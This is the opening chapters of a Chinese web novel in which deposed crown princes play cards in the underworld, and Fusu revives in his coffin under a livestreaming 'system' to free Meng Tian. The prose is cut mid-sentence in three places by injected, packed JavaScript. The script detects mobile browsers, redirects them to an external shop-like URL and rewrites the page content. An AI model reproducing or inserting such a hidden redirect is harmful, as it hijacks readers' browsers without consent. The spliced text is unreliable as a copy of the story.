《废太子决定去死》 1. 废太子们在打牌 三只废太子在打牌。 扶苏举手示意:“我不是废太子,我没当过太子。” 李承乾哼了声,无所谓道:“谁叫你人气高呢?要是把刘荣刘强刘庆放进来,谁知道他们是谁?” 刘据把手里的牌理顺,疑惑道:“为什么全是姓刘的?你们李家的废太子难道少?不得好死的太子都有好几个吧。玄武门继承法可是源远流长。” “哪里比得上你们巫蛊之祸牵连甚广?”李承乾反唇相讥。 扶苏心累地调停:“还打不打了?” 刘据心平气和道:“打,你年纪最大,你先出吧。” “章邯。”“李广。”“秦琼尉迟恭,两门神。” “我们都出一张,你怎么出两张?”刘据质疑。 “我武将多,我乐意。”李承乾很嚣张,“你们那两个老打败仗老迷路的,就别拿出来丢人现眼了。” 扶苏冷静地丢下一张:“李信,你们陇西李氏老祖宗。” “针对我是吧?族谱瞎编的你也信?” “不信族谱我信你?” “李信固然勇猛,但年轻冒进,在楚国败在项燕手里,输得全军覆没,不能算一流名将。”刘据说着,放下一张“赵充国”,补充道,“屯田定边,老成谋国。” 李承乾冷笑:“什么阿猫阿狗的也放上来。李世勣,军功比你俩加起来都盛。” “这么快就出到李世勣了?”扶苏想了想,道,“那我只能出蒙恬了,北筑长城而守藩篱,却匈奴七百余里;胡人不敢南下而牧马,士不敢弯弓而报怨。 [1]” “才七百里。”刘据稳稳地把霍去病的牌压上去,“冠军侯,七天转战一千里,封狼居胥,饮马瀚海,横扫漠北,匈奴最严厉的爹,打得匈奴哭唧唧唱哀歌。” 他很应景地吟诵起来,“失我焉支山,令我妇女无颜色。失我祁连山,使我六畜不蕃息。[2] ” “说明霍去病是个教育家,把匈奴都教得会唱歌了。——李靖。——打败个匈奴骄傲什么?灭国了吗?没灭国的别说话。”李承乾阴阳怪气,甩出王炸,不屑一顾。 扶苏看了一下李承乾,没说话,刘据却慢条斯理开口道:“有句话我不知道当说不当说。” “那就是不当说。”李承乾迅速截断他的话头。 “不当说我也要说。” 李承乾翻了个白眼,完全没有想听的意思。刘据不管,继续道:“李靖轻轻松松就把东突厥灭了,你爹都是天可汗了,你精突是个什么情况?” “我乐意!不行吗?” “行。”刘据从善如流,“就是有点可惜,要是没有精突这种骚操作,你的风评会比现在好很多。” 李承乾冷笑:“你风评好,影响你全家死光了吗?” 扶苏眼看他俩要吵起来,马上垫了一句:“没有全家,不还有刘病已吗?逃过一劫,后来还继位了。” “确实,他全家没死光,你全家死光了,一个不剩,连姐姐妹妹都没了。”李承乾毒舌毒到吞口唾沫能把他自己毒死。 刘据和扶苏深呼吸,再深呼吸,默念几句:我不跟他计较,他有病。 “还出不出了?不出我就赢了。”李承乾若无其事地催促。 扶苏瞅了瞅手里的牌,对方都出到李靖了,他唯一能出的大牌就只剩王翦了。 他顺势放下这张牌,顺口解释:“王翦,灭了赵国燕国楚国,这三国的含金量不用多说了吧?赵国可是硬骨头,楚国更不用说。” “不提燕国是不想提吗?还是荆轲刺秦剑太长拔不出来导致秦王绕柱比较丢脸?”李承乾嗤之以鼻。 “你真该是个哑巴。”扶苏都忍不住怼他了,“说不定反而不会死。” 刘据出了张“卫青”:“不能光考虑灭国,不考虑对手吧?我们对手是巅峰期的匈奴,总人口两三百万,控弦三五十万,是第一个大一统的游牧帝国。你们大唐对付突厥的时候,突厥都分裂衰弱了,内部松散,连续大雪灾,内部崩溃不稳,那都不是一个档次的对手。 “所以我不认为我舅舅卫青比李靖差在哪,脱离时代背景讨论问题,那是耍流氓。” “就是,知道春秋战国多少年没统一了吗?头一个吃螃蟹是很难的。”扶苏跟着帮腔。 李承乾道:“不服是吧?那我可就出大王了。” 扶苏和刘据都很奇怪:“你还有大牌?” “怎么没有?天策上将!” 李承乾丢出了最后一张SSR。 这张牌硬控了其他两人两秒钟,然后以刘据的涵养都差点破口大骂:“要点脸吧,李承乾!他是武将吗?你就出!” “怎么不是武将了?天策上将,上将,都上将了不是武将?”李承乾狡辩。 “你有本事把你爹从太庙移到武庙去!” “愿赌服输哦,别输不起。” “他就不是武将!” “怎么不是了?他打宋金刚的时候不是,还是打王世充窦建德的不是?” 两人叽哩哇啦吵得跟两只鸭子似的,忽然听见一个机械的声音。 【您有新的‘反了么’订单,请及时处理。】 这个声音本身挺悦耳,但它的内容比较刺耳,加上连响了四次,导致众人的心情都不太美丽。 “干什么呀这是?”李承乾很不满,戳开群聊的公告,“打个牌还要叽叽歪歪。” 其他两人也纷纷打开任务,盯着光屏看。 看完之后,所有人都失去了表情管理。 只见任务栏明晃晃地标着四个并列的任务。 ①【请在胡亥继位后造反成功,避免大秦二世而亡。】 ②【巫蛊大舞台,有胆你就来。请在巫蛊之祸中,活下来并成为皇帝。】 ③【和李世民玄武门对掏,成功上位。】 ④【请在九龙夺嫡中胜出,继位为帝。】 “胡亥继位的时候我都死了,怎么造反?” “是我不想在巫蛊之祸活下来吗?” “跟谁玄武门对掏?我拿什么掏?我要有这本事早就当皇帝了,还用你说?李建成加李元吉加李渊,父子仨捆一块都没打过,我怎么打?” 三人吐槽的吐槽,生气的生气,末了扶苏来一句:“胤礽呢?” 刘据戳戳胤礽的头像,纳闷地发语音:“有任务,你干嘛呢?” “看同人。”那边慢吞吞回了句。 “什么同人这么好看?” “老四怎么对老八强制爱,两人颠鸾倒凤不知天地为何物,那赤色鸳鸯肚兜还挂在老十三腰上的十八禁同人。” 这段话委实很有冲击力,把其他人雷得一跳又一跳。 只有李承乾在怔愣过后,饶有兴趣地找胤礽问:“好看吗?” 其他两人纷纷离他远点。 李承乾诧异道:“扶苏嫌弃我可以理解,你们老刘家出了名的男女通吃,你装什么?” 刘据撇清道:“麻烦不要扫射,没有我的事。” 胤礽情绪很稳定,淡定得像卡皮巴拉,甚至有点冷幽默地回复:“我这还有很多文,包括你们仨爹的,要不要?” “敬谢不敏!”x3 就算是李承乾,都不会去看李世民的这种趋向的同人文。 多膈应啊。 他们在这插科打诨,机械音像游戏NPC似的宣传道:【完成任务则有丰厚积分奖励,可兑换多种技能。包括但不限于:起死回生、穿越时空、召唤第四天灾、时间暂停、随身空间、延年益寿……】 它跟报菜名似的报了一连串技能,不得不说,有的听起来确实很有诱惑力。 比如那个“起死回生”加“延年益寿”。 扶苏忍不住心动,斟酌着问:“就是说,我能给我父皇用,让他多活三十年?” 【是的。】 “但胡亥继位的时间点,我早就死了,这个任务要怎么完成?” 【玩家可领取系统赠送的新手大礼包,以起死回生技能卡作为任务启动。】 “我直接把这个卡送给我父皇用行不行?”扶苏脱口而出。 “爹宝儿!”李承乾蛐蛐。 【不能。】系统音冷冰冰地回绝了他。 扶苏颇为惋惜,但已经想试试了。 刘据皱眉道:“你这任务也不简单,秦末那么乱,就算你名声还可以,只怕要压制那些造反分子,也有难度。而且胡亥已经继位了,咸阳落在赵高手里,你要是去打,内部乱成一团,更给了他们可乘之机。” “恕我提醒,你这个‘造反分子’里,还有你们老刘家的祖宗。这会儿他早就上芒砀山了。”李承乾挑衅道。 扶苏摇摇头,叹道:“总得试试。没有殊死一搏就认输这种错误,我已经犯过一次了。这次就算我输了,死在任何人手里,都好过死在我自己手里。” 刘据和李承乾就沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644936|206764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默了。 大家都死了这么多年了,什么新鲜事物都见过,已经无聊到在地府扎堆打牌了,有个同伴做任务给他们围观,也算新的乐子。 【那么请抽取新手大礼包。】 扶苏屏住呼吸,点击了下光屏跳出来的选项,一阵玄金的光辉过后。 系统音换了换,变得温和了些。 【宿主您好,‘天命之子,在线直播’系统为您服务,您已抽取技能词条‘行走的bgm’。】 “什么玩意儿?放音乐的?”李承乾凑过来。 “天命之子?”扶苏喃喃,“我也算?” “怎么不算呢?”李承乾反问,“你不算,难道胡亥算?” 刘据提醒道:“要直播吗?” 【直播可以迅速增加宿主人气,获得更多积分,尽早开启更多技能。】 “这么好?”李承乾嘀咕,“扶苏你去趟雷吧,我们会给你收尸的。” 扶苏思量道:“开始任务后,我会从哪天开始?” 【秦始皇三十七年八月二十,胡亥已进咸阳,宿主已死七天。】 “呦,头七啊。”李承乾幸灾乐祸了句。 “为什么不能早几天呢?要是时间往前推到扶苏自杀之前,这个任务就简单很多了。”刘据有疑问。 【很抱歉,您所说的时间节点已锁定。】 “啥意思?”他们似懂非懂。 胤礽在群里猜测道:“打个比方,要么是你运气差没抢到票,要么是这个时间没开放,或者这个座位已经有人了,你坐不了。也可能,就是故意提升难度,提高直播的可看性,搏眼球。” “算了。”扶苏不去纠结难度,沉声道,“开始吧。” 其他人就顺势进入系统的直播间,在后台观看。 “来点瓜子薯片快乐水,我要看扶苏这回怎么死。”李承乾兴奋地往后一仰。 “你盼着他点好吧!”刘据道。 “盼有屁用?前有刘邦后有项羽,就他那本事,拿什么打?” “不是有蒙恬?” “蒙恬不是死了吗?” “你历史怎么学的?蒙恬这时候还没死呢!” “你到底站哪边?扶苏要是赢了,刘邦可就得死了。” “谁说就非得死一个?” …… 他们的争论声逐渐远去,扶苏眼前一黑,已然从待了太久的地府消失。 他的身体沉甸甸的,久违地拥有了实感,睁开眼,眼前却是一片漆黑,伸手不见五指。 他听见自己沉闷厚重的心跳声,浑身僵硬发冷,呼吸微弱滞涩,口鼻间全是木头的浓郁味道。每吸一口气,都觉得空气又少了几分。 四四方方的空间又黑又闷,逼仄得难以翻身,手抬起来伸出去时,胳膊都伸不直,就摸到了顶。 他这是在……棺木里? 扶苏意识到这点,凝神倾听。外面隐隐约约传来说话声,但因为棺材太厚,封闭性太好,不大听得清。 不过这是一个机会。 他都死了,还有人给他收尸,把他放棺材里,那这时候出现在棺材周围的人,就值得一赌。 赌输了大不了还是死,他又不是没死过,怕什么? 黑漆漆的画面里飘过一个白色弹幕。 【这啥直播啊?怎么黑不溜秋的?主播你人呢?】 不好意思,主播忙着躺棺材,没时间回复。 扶苏的手在身边摸索,放轻呼吸,珍惜有限空间里的氧气,一寸寸探索。 脖子好像有点凉,也有些异物感,但他还能喘气,就先放着不管。 小心翼翼地摸了几秒后,他够到了一把坚硬的、长长的东西,熟悉的金属质感,外壳有雕刻的铭文。 好像是他的剑,自刎的那把? 感觉有点说不出的荒诞意味,看直播的李承乾已经开始哈哈大笑了,笑得差点被薯片呛住。 扶苏握住了他的剑,开始用剑柄用力敲击棺木的顶盖。 “梆梆……咚咚……” 这声音一点也不清脆,闷闷沉沉的,带着阴森森的回响声,传到棺材外面。 【看不懂主播在干啥。】 【密室逃脱吗?】 【八十八十八十……】 【我去这是棺材吗?主播在棺材里?】 【好真实啊,外面竟然还有脚步声。】 【有人靠近了!】 2. 扶苏诈尸了 王离幽幽叹了口气,神色暗淡地凝视着那深色的棺木。 他心里的痛苦和挣扎无人可以言说,甚至无法表露出来。 身为王翦的孙子,王贲的儿子,他们一家三代忠烈,为大秦尽忠,浴血沙场,素来无怨无悔。 可这一封赐死扶苏的诏令传到上郡来,就粉碎了王离的一切忠诚。 这份诏令到底是真是假?王离现在没有办法去思考了,因为扶苏已经死了。 扶苏一死,这诏令就算假的,也已经成了真的。他就只能按陛下的诏令行事,把蒙恬下狱,接管上郡的兵马,继续守卫边疆。 可是,他与扶苏公子好歹也共事多年,心里多多少少残留着惋惜与伤感,于是在公子自刎后,王离还是为扶苏收敛了尸身,安置在上好的棺材里。 上郡没有多好的条件,眼下这情势也不适合给扶苏办隆重的葬礼,王离就简单地准备了谷食黍酒与束帛,作为祭品,陈列在这简单的灵堂里。 名义上,公子属于罪臣,是不允许属下祭祀的,但实际上,这几天,已经不止一两个人,冒着被处罚的风险,偷偷来拜祭过扶苏公子了。 王离都看在眼里,沉默地当做不知道,没有严厉责罚他们。 大秦是重法,可人心都是肉长的,再严酷的律法军令难道能完全泯灭人的感情吗? “公子死的冤啊……”有裨将悄悄地感叹。 “那诏令真的是陛下的意思吗?” “陛下真的会赐死公子吗?” “就算陛下属意别的公子,而要把长公子除掉,为其他公子铺路,但蒙将军是我大秦柱石,以陛下的性格,他怎么会把蒙将军也赐死呢?” …… 王离心里也犯嘀咕,他觉得自己好像走在悬崖边上,眼看着扶苏跳了下去,而蒙恬虽然不想跳,却被诏令推着不断往前,离万丈深渊就只剩一步之遥。 王离并不为自己执掌了大权而惊喜,他只觉得惊心动魄的可怕。 扶苏和蒙恬之后,下一个会是谁? 万一这诏书真的是假的,那就说明陛下已经遭遇不测,可扶苏公子已经死了,谁来继位?胡亥公子吗? 陛下巡游途中究竟发生了什么事?胡亥公子是不是已经入咸阳为帝了?那蒙毅上卿呢? 蒙恬将军若是步公子后尘,蒙毅上卿能幸免吗? 即便王离远在边疆,但这么一思量,他就觉得无尽的心慌。 这个发展趋势,怎么看也不像是好的趋势,倒有一种风雨飘摇、国将不国的丧乱之感。 所有稳定的秩序,仿佛都在悄然崩塌,崩塌得太快,快得让人觉得恐怖。 但王离又能怎么办呢? 扶苏公子,已经死了啊。 他沉沉的目光与烛火一同摇曳,明明是八月,却觉得遍体生寒,一时忍不住有些后悔,却又不知道自己在后悔什么。 王离抬手倾酒,垂首低声:“公子,王离前来拜祭,送公子一程。臣尚不知诏令真假,但公子贤德勇毅,王离素来看在眼里。愿公子泉下有知,得以安息……” 忽然,有什么异样的声音在这寂静的灵堂响起。 “咚咚……” 这声音很闷,仿佛隔着厚厚的什么东西,嗡嗡地传进王离耳里。 他的话音戛然而止,惊疑不定地去看门扉,以为深夜有人敲门。 但这声音,好像不是门的方向传来的。 “梆梆梆……” 敲击木头的声音持续响起,甚至有节奏的,三声连在一起,三三四三,三三四三,竟然像咸阳的儿歌频率。 王离悚然而惊,甲胄在身,重重地起身,先去门那边看了看。 “将军。”他打开门时,门外的卫尉们纷纷致意。 “刚刚,可有人敲门?” “回将军,没有。” 果然不是门外的声音,那到底是哪来的动静? 王离驻足,心跳加快,耳中那敲击声渐渐急促,仿佛奇异的战鼓。 “你们有没有听到什么声音?”总不能只有他一个人听到了吧? 卫尉们刷刷一愣,继而一惊,好像才听到似的,眼神不由自主地往屋内飘,支支吾吾道:“屋里好像……有动静?” 但屋里只有王离一个人,哪来的动静? 霎那间,如同阴风过境,吓得他们毛骨悚然,鸡皮疙瘩都爆起来了。 除了王离,这屋里也只剩棺材了。 这声音,这依然在响的敲击声,是来自、来自棺材? 一时间没人说话,王离头皮发麻,咬咬牙,攥紧拳头,命令道:“把棺材打开看看,兴许有老鼠之类的东西混进去了。” 将军你是认真的吗?卫尉们震惊地看着他,老鼠他们又不是没见过,是这个动静吗? 但将军有令,哪怕卫尉们也心惊胆战,也得服从命令。 他们走近厚重的棺木,一左一右,用尽浑身力气,抬起棺木顶盖的一角,往外推去。 这棺木还没有钉死,虽然很重,卡得严丝合缝,但两人共同用力,还是丝滑地推出了一米距离。 扶苏得见天日,乍然被烛光一晃,下意识闭了闭眼,然后等露出的空间足够大,才施施然坐了起来。 “啊——” 谁的惊叫声,破音了都。 一阵热闹强劲的bgm诡异地响起,盖过了卫尉们的叫喊。 “今天是个好日子,心想的事儿都能成~~”[1] 别说王离和卫尉,一时间连从秦朝活到现代的扶苏,都有点呆住了。 【这什么鬼音乐?】 【哈哈哈我要笑死了】 【主播这是诈尸了吗?我看到棺材了。】 【你就说应不应景吧?是不是好日子?】 【让我想起我们老家一葬礼,老头死了,吹鼓手那帮人用唢呐伴奏唱“好日子”,被人家儿孙一顿骂。】 【好老的服化道,秦汉的风格?】 扶苏忽略这离谱的bgm,淡定地从棺材里爬了起来。 他一动起来,卫尉们接连后退,退退退,再退。 王离瞳孔地震,极力控制住自己不要惊恐退却,脚下像陷进沼泽里,耳鸣一般呆立,仓皇攥拳,嘴唇哆哆嗦嗦。 “公、公子……” 【主播你脖子上好多血。】 【妈耶这场景像冤魂诈尸了。】 【演得也太带劲了,什么故事啊这是?】 扶苏滑出剑刃,跨出高高的棺材,不去看自己现在是什么形象,只提着剑,缓缓逼近着甲的王离。 王离眼睁睁看着他逼近,内心尖锐暴鸣,但脚下僵硬着一动不动。 “王将军,蒙恬将军在哪里?” 扶苏的声音听起来好像不对,又哑又涩还有点漏风,但这不重要。 王离的心脏都快跳出来了,很难不去看扶苏脖子半干涸的血迹。 不止是脖子,扶苏自刎时飙出来的血洒了半身都是,后来扶苏的亲卫给他换过干净衣裳,也擦拭过血迹,但此时此刻,竟有新鲜的血从脖颈伤口处渗出来,往下流淌。 “今天是个好日子~” 诡谲的乐声不知道从哪里冒出来的,宛如地府的冥乐,刺激着他们的耳膜和大脑。 “……在阳周狱。”王离艰难地调动唇舌。 “带我过去。”扶苏急于求证蒙恬还活着,并急着救他出来。 只要蒙恬还在,大秦就还能救,因为这个时代,蒙恬是大秦最厉害的将军,没有之一。 大秦方的将军里,王离章邯都只能算第二梯队的,胜率并不是很高。 王离不得不问:“公子……想做什么?” “我去看看蒙恬将军,不行吗?”扶苏微微而笑。 鉴于他死了七天之后揭棺而起,王离很难说“不行。” 就算王离懵逼的大脑还勉强能思考,扶苏可能不止是去看看蒙恬而已,但这时候,王离也说不出拒绝的话。 “……公子请。” 弹幕这时候开始暴涨,乐子人们的心情发生了微妙的变化。 【我听到了什么?蒙恬?是那个蒙恬吗?】 【历史上姓蒙的将军可不多,想重名都难。】 【这要是电影的话,也太有质感了,这布景好真。】 【等会,那主播是谁?】 【扶苏?是扶苏吗?扶苏公子?】 【好家伙,我重生了,重生到了大秦二世而亡之前,上一世我被奸人蒙蔽含冤而死,这一世我要夺回属于我的一切![2]】 【扶苏重生的文我也不是没看过,但诈尸的我真是第一回看。】 “明天又是好日子,赶上了盛世咱享太平~”[3] 【这歌词真绝了,乱世马上来了,刘邦项羽加起来屠城十几次,尤其项羽,整个一屠城小能手。老秦人投降之后都被屠杀了几十万百姓,还盛世太平呢,太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644937|206764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地狱了。】 【邦子比项羽好多了,后来入咸阳之后就不杀平民了,所以老秦人才‘喜迎沛公’的。】 【其实我还挺喜欢项羽的……】 【你喜欢的是影视剧里的项羽吧?建议多看看史书呢亲。】 扶苏没直播过,也没看弹幕的习惯,几乎无视了在眼睛上方飘过的弹幕,专心地跟随王离去阳周狱。 阳周是上郡的一个县,蒙恬骨头硬,不肯听从诏令就这么死,还想申诉,暂时被关在了阳周狱。 在七天之前,蒙恬才是主将,王离是他的副将,所以在新的命令到达这里之前,王离没有擅自动手,只是关着蒙恬,等待新的命令或者转圜。 【宿主您好,你已获得‘好日子’Buff加成,今日明日两天幸运加50%,祝你好运,心想事成。】 这个消息多少起到了安慰作用,扶苏不觉得自己运气很好,得到了这个加成,怎么也比没有好。 原来这就是bgm的作用,那他就不嫌音乐吵了。 这音乐声唱了几分钟就停了,去阳周狱的路就显得一片死寂。 路边值夜的宿卫,但凡看见扶苏,没有不石化的。 使者传诏令导致公子自杀的事,在过去这七天传得沸沸扬扬,卫尉哪还有不知道的? 这会扶苏就这么大大方方招摇过市,脖子上还带着血,大半夜的,要多渗人有多渗人。 谁都不敢吱声,除了王离。 王离鼓起勇气,总算找回了点理智,低声道:“公子,你还在流血……” “哦,死不了。”扶苏满不在乎。 “……”但王离曾经检测过扶苏的呼吸、心跳和脉搏,以他多年征战的经验来说,那时候扶苏明明就死了。 死透了! 如果不是这样,他怎么可能把扶苏装进棺材里呢? 所以现在这是……这算什么?没死透?还魂了? 扶苏趁这个良好的氛围,和蔼可亲地叙述道:“其实我本来已经死了,但是到了黄泉之后,看见我父皇,他很惊讶,问我怎么下来了,说他的遗诏是让我继位。” 王离默默地听着,竟然有点想信。 毕竟扶苏是真的死而复生,而且他自刎的时候很决绝,绝没有和谁商量好假死的意思。 要真想假死,那也得用毒药之类的,谁抹脖子假死啊?风险也太大了。 颈动脉一割,血流如注,想救都难。 于是王离捧哏了一句:“公子真的看见陛下了?这就是说,陛下已经驾崩了?” 是的,直到现在,嬴政到底死没死,上郡还是不知道的,边关的消息还是太慢了。 扶苏神情复杂,叹惋道:“虽然我不想承认,但父皇确实已经驾崩了。” 【始皇帝要是没死这么早,天下也不会乱这么快了。】 【我前两天还刷到给政哥送延长寿命的药的短剧,可见还是有很多人不希望他死。】 【毕竟是第一个大一统的皇帝。】 “父皇陛下崩于沙丘,赵高联合李斯篡改遗诏,拥立胡亥,伪造诏书赐死我和蒙恬,我一时糊涂,竟然真的自尽了。” 扶苏真情实感地解释道,“父皇见了我很生气,怒斥我如此懦弱,竟不敢放手一搏。他说大秦落入胡亥赵高之手,焉有活路?于是将我踢出地府,交代我务必振作,清除奸佞,重振朝纲。” 【真的假的?】 【别说,还挺有逻辑的。】 【要真有地府的话,始皇说不定真想这么做,毕竟胡亥真的不是人。】 【人头畜鸣。】 一条颜色与众不同的黑金色弹幕混在里面滑了过去,扶苏没有注意,他的小伙伴们注意到了。 胤礽率先道:“这条弹幕为何颜色不同?他充钱了?” “可能是VIP什么的吧?”李承乾把薯片咬得嘎嘣脆。 刘据善意提醒道:“你的伤口真的不包扎下吗?那毕竟是颈动脉。” 扶苏能听见他们说话,与周围的动静不同,更像是戴着耳机,小范围传到他心里的。 他就也在心里回复:“反正一时半会死不了,吓吓王离也不错。” 王·大冤种·离心中五味杂陈,鬼使神差地把扶苏带到了阳周狱,示意怀疑人生的守卫打开狱门。 然后,就在狱门打开的一瞬间,蒙恬的眼睛不可思议地亮了起来。 扶苏的剑同时架到了王离脖子上。 3. 你看我还有机会吗? 王离现在的心情,居然有一种第二只靴子终于落地的奇特轻松感。 这一路上他就在尽量不去思考,公子到了阳周狱会做什么。 好像只要不想,他就不知道。 现在公子果然出剑了,王离反倒在心底暗忖:看吧,他就知道会这样。 他知道会这样,为什么还要配合公子,带公子过来呢? 这个问题不能深究。 【好惨的王离哈哈哈】 【王离的眼神好搞笑,他咋一点都不惊讶?】 【可能在主播从棺材爬出来的时候,惊讶值就用完了吧。】 【不是,我一眼看见了好几个守卫,咋都不动?】 【我觉得你可能低估了扶苏和蒙恬的威信。】 蒙恬抓住这个机会,大步流星从狱里急行出来。 他从十一年前开始坐镇大秦北方,经略边防,五年前率三十万大军北击匈奴,收复河套平原,常驻上郡,修长城和直道,迄今为止所取得的所有成果,足以震慑北方所有人。 所以他走出来时,犹如猛虎出匣,其实比扶苏架在王离脖子上的凛冽刀刃还要有压迫感。 王离忍住叹气的冲动,几乎棒读道:“公子这是何意?莫非是要抗诏?” “那诏书显然是假的,也就谈不上什么抗诏。”扶苏干脆道。 “但公子并没有凭证。” “这简单,传诏的使者已经走了,要不了多久就会有新的命令下来,我们等着看就知道了。” 扶苏很确定,胡亥和赵高一定非常急切。 光死一个扶苏还不够,胡亥排行十八,他上面有一堆哥哥姐姐,只要蒙恬蒙毅还活着,他的位置就绝对坐不稳,但凡蒙家兄弟拥立别的公子,就有机会被翻盘。 从上郡快马加鞭到咸阳不过五日,所以,只要使者到了,赵高一定会让胡亥下令,尽快逼死蒙恬。 这就是个前后脚的功夫,左右不过这么几天。 蒙恬果断道:“在新的命令到达之前,就委屈你了。” 他一挑眉,示意倒霉催的王离和他换位置,自个麻溜滚进监狱里。 王离:“。” 行吧,反正蒙恬和扶苏也不会杀他,这两上司的人品,王离还是很信得过的,一个比一个正。 他就这么默默地、很自觉地走进去了,看起来竟然没多少被胁迫的不情愿。 “公子。”蒙恬关心地看向扶苏的伤,扬手召属下过来,“请疾医过来给公子诊治。” 属下们也是很有意思,短短几天领导换来换去,面面相觑,没怎么犹豫,小跑去找医生了。 大军这么多人,自然是有军医的,扶苏自杀的时候,军医也是紧急赶过去查看的,这会儿大半夜匆匆忙忙过来,顿时傻了眼。 “公、公……公子?”军医目瞪口呆,世界观摇摇欲坠。 【军医:这给我干哪儿来了?这还是大秦吗?】 【主播也是体会了一次苏武的待遇了,抹脖子都不死。】 【那还是苏武更牛逼,抹脖子抹了两次都没死。】 【匈奴的医生:不要小瞧我和大汉的羁绊啊!】 军医带着怀疑人生的表情,努力淡定下来,为扶苏擦血包扎。 扶苏和蒙恬跪坐在一方小桌案两侧,安静地等待。 “公子还活着,真是得天之幸。”蒙恬很庆幸。 只要扶苏还没有认命,那一切都还有可能,他怕的就是扶苏已经认命了,那蒙恬只能跟着死。 扶苏笑笑:“我本来差不多已经死了,结果下了地府被父皇踢上来了……” 他把同样的话术跟蒙恬说了一下,大将军听得很认真,若有所思道:“那陛下对臣,可有什么交代?” 嬴政和蒙家的关系非常亲厚,所以蒙恬很自然地就问出了这句话。 “交代啊……”扶苏想了想,忽然看见一条黑金色弹幕飘过自己的视野。 【好好活下去,辅佐扶苏,与蒙毅一起,保大秦安宁。】 很平淡的一句话,没有什么华丽辞藻,动人语句,甚至谈不上豪言壮志。 扶苏心中一动,把这句话复述给了蒙恬听。 蒙恬垂着眼睛,微微动容,一时百感交集。“陛下……陛下走得实在是太匆忙了,偏偏蒙毅不在他身边,否则不会让这种矫诏传出来的。” “是啊。”扶苏也觉难过,只是他最难过的时光早已尘封在历史里,现在便不会沉浸于此,而是积极思考对策,“还要请将军给蒙上卿送口信,交代他不要回咸阳,回去就是羊入虎口。” “但我不知蒙毅在哪。” “在会稽。” “公子知晓?” “父皇告诉我的,他巡游到琅琊的时候病了,就派蒙毅折返会稽,祭祀山川神灵,祈求病愈。[1]按时间算,蒙毅应该还在会稽,并没有赶上父皇的车架。” 【太不巧了,如果当时始皇死的时候蒙毅在,也许不会有矫诏了。】 【跟命中注定的一样,所有最坏的因素都集齐了,就滑向了深渊。】 【陛下自己也没想到会猝死吧?更没想到在他面前乖得跟狗似的赵高胡亥,个个都是禽兽。】 蒙恬看了看扶苏被包扎好的伤口,嘱咐军医口风严点,便开始给蒙毅写信。 “眼下情势险峻,公子有何打算?” “将军觉得呢?”扶苏诚恳地问,“倘若我带兵赶到咸阳,还有机会吗?” “只怕已经晚了。”蒙恬谨慎地推测,“矫诏都已经送到了上郡,且有七日之久,那陛下身边,早就被赵高他们把控。赵高是中车府令,加上丞相李斯,公子胡亥,陛下的印玺,朝臣们定然更倾向于认为胡亥公子才是陛下遗诏属意的继承人,公子你很难争得过他。” 【我文盲我不懂,中车府令是干啥的?】 【你可以理解为,领导的司机和秘书。】 【没那么简单,中车府令负责皇帝出行的车架安排,因为蒙毅这个郎中令不在,赵高还兼管皇帝的印玺和调兵的符节,以及各种文书档案,是非常重要的近臣了。不然赵高哪来的机会矫诏?】 【这龟孙有兵权?】 【理论上没有,只有几百近卫的调动权,但他手上现在捏着皇权。主播现在的身份反而是‘逆贼’了。】 【斯相你糊涂啊,一世英名败了个精光。】 【李斯的选择也很正常,他法家的,和扶苏政见不合。】 【代代秦王杀小妈,李斯不得防备扶苏继位清算他吗?】 【笑死,结果被胡亥俱五刑夷三族了,大写的惨。】 【后来被冤下狱,在牢里被一次次屈打成招的时候,李斯你有没有后悔过当初的选择呢?】 扶苏点点头,表示明白。“我知道,我远离中枢很久了,现在没有任何信物能证明,胡亥是矫诏,那咸阳那边肯定会拥护胡亥。如果我们现在赶去咸阳,就是一场硬仗了。” 硬仗总是很难打的,咸阳素来易守难攻,从百年前开始,就经常被几国联手攻打,但一次也没攻进过函谷关,就知道这是多难啃的骨头了。 扶苏已经失了先机,这会去咸阳,只会演变成造反的大战。 他的对手是手握印玺和诏书的胡亥赵高李斯,胜算如何,还真不好说。 “麻烦的地方在于,胡亥公子能调动咸阳的中尉军,诏令发出去,大秦境内的官兵都得听从。” 蒙恬不差点也听从了吗? 大秦的制度就是这样的,扶苏和蒙恬看似手握三十万大军,但依然必须得听从中央调配,不然底下的军队未必调得动。 没有诏令和虎符,扶苏真的能调兵吗?这也是个未知数。 嬴政的威信太大太大了,谁也不知道那是矫诏,那敢跟着扶苏冒险的人,终究是少数。 “那我们暂时留在上郡?”扶苏想来想去,也没有什么更好的法子,“我还是死的,将军你也快‘死’了,对外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644938|206764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放出消息,王离将军接手大军,还像从前一样,屯田戍边,自给自足,等待时机转圜。” 蒙恬望着扶苏,欲言又止。 “将军有话请说。”扶苏发现了。 “公子好像很有把握,会有时机转圜?是陛下说了什么吗?” 